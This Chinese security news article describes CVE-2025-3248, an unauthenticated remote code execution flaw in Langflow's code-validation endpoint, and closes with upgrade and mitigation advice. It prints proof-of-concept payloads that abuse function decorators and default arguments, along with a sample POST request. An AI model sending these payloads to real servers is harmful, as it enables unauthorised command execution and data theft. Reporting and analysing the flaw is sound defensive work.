网络安全研究人员在 Langflow 中发现了一个严重的远程代码执行(RCE)漏洞。Langflow 是一个被广泛用于以可视化方式构建由人工智能驱动的智能体和工作流程的开源平台。
这个高严重性漏洞被编号为 CVE-2025-3248,其通用漏洞评分系统(CVSS)评分为 9.8,属于严重级别。
该安全漏洞影响 1.3.0 版本之前的所有 Langflow 版本,攻击者无需身份验证即可在存在漏洞的服务器上执行任意命令,这有可能危及敏感数据和系统安全。
该漏洞专门针对 Langflow 的 /api/v1/validate/code 端点,该端点在用户提供的代码上不当调用了 Python 的内置函数 exec ()。
这一实现缺乏适当的身份验证检查和沙盒保护机制,为恶意行为者提供了一个危险的攻击面。
在其人工智能开发工作流程中使用 Langflow 的企业面临着重大风险,因为攻击者可以利用这一漏洞获得对系统的未经授权访问,并以应用服务器的权限执行命令。
Zscaler 的研究人员发现,该漏洞源于 Python 在处理函数定义时的特性,即在函数定义处理过程中,装饰器和默认参数值会被立即求值。
这一特性使得嵌入在这些结构中的恶意代码能够在抽象语法树(AST)处理阶段执行。
研究人员强调,这一漏洞表明在处理动态代码执行时,实施适当的身份验证和沙盒措施至关重要。
攻击者可以利用这个漏洞针对可公开访问的 Langflow 实例,或者通过各种攻击途径入侵内部部署的系统。
一旦获得访问权限,攻击者就可以利用这个存在漏洞的端点建立持久访问权限、窃取数据,或者在受影响的网络中进行横向移动。
鉴于该漏洞易于被利用且容易被访问,安全专家敦促立即修复这一漏洞。
对技术实现的研究表明,Langflow 的代码验证机制试图在评估特定组件(包括函数定义)之前,将用户提交的代码解析为抽象语法树(AST)。
这个过程涉及导入指定的模块并执行函数定义以验证其结构,但关键的是未能限制执行上下文。
利用机制
攻击方以创造性的方式利用了 Python 的函数定义特性来实现代码执行。
当 Langflow 通过其验证端点处理代码时,攻击者可以使用两种主要方法注入恶意负载。
第一种方法是将命令嵌入函数装饰器中,这些装饰器在代码处理过程中会立即执行。例如:
@exec(“import os; os.system(‘id > /tmp/pwned’)”)
def foo():
pass
第二种方法是利用函数定义中的默认参数值,这些默认参数值在抽象语法树(AST)处理阶段也会被求值:
def foo(cmd=exec(“import(‘subprocess’).check_output([‘env’])”)):
pass
当攻击者通过 POST 请求将这些恶意负载发送到存在漏洞的端点时,攻击就会发生:
POST /api/v1/validate/code HTTP/1.1
Host: vuln-test-langflow.example.com
Content-Type: application/json
Content-Length: 172
{
“code”: “@exec(“with open(‘hacked.txt’, ‘w’) as f: f.write(‘The server has been compromised’)”)\ndef foo():\n pass”
}
完整的攻击链条展示了攻击者如何从针对存在漏洞的端点,逐步实现对服务器的代码执行。
虽然服务器的响应看似正常,但恶意代码会在后台悄然执行,有可能创建后门或窃取数据。
强烈建议使用 Langflow 的企业立即升级到 1.3.0 或更高版本,该版本对存在漏洞的端点要求进行身份验证。
此外,实施网络分段、通过零信任架构限制访问,以及部署监控解决方案,有助于在进行升级的同时降低风险。
发表评论
您还未登录,请先登录。
登录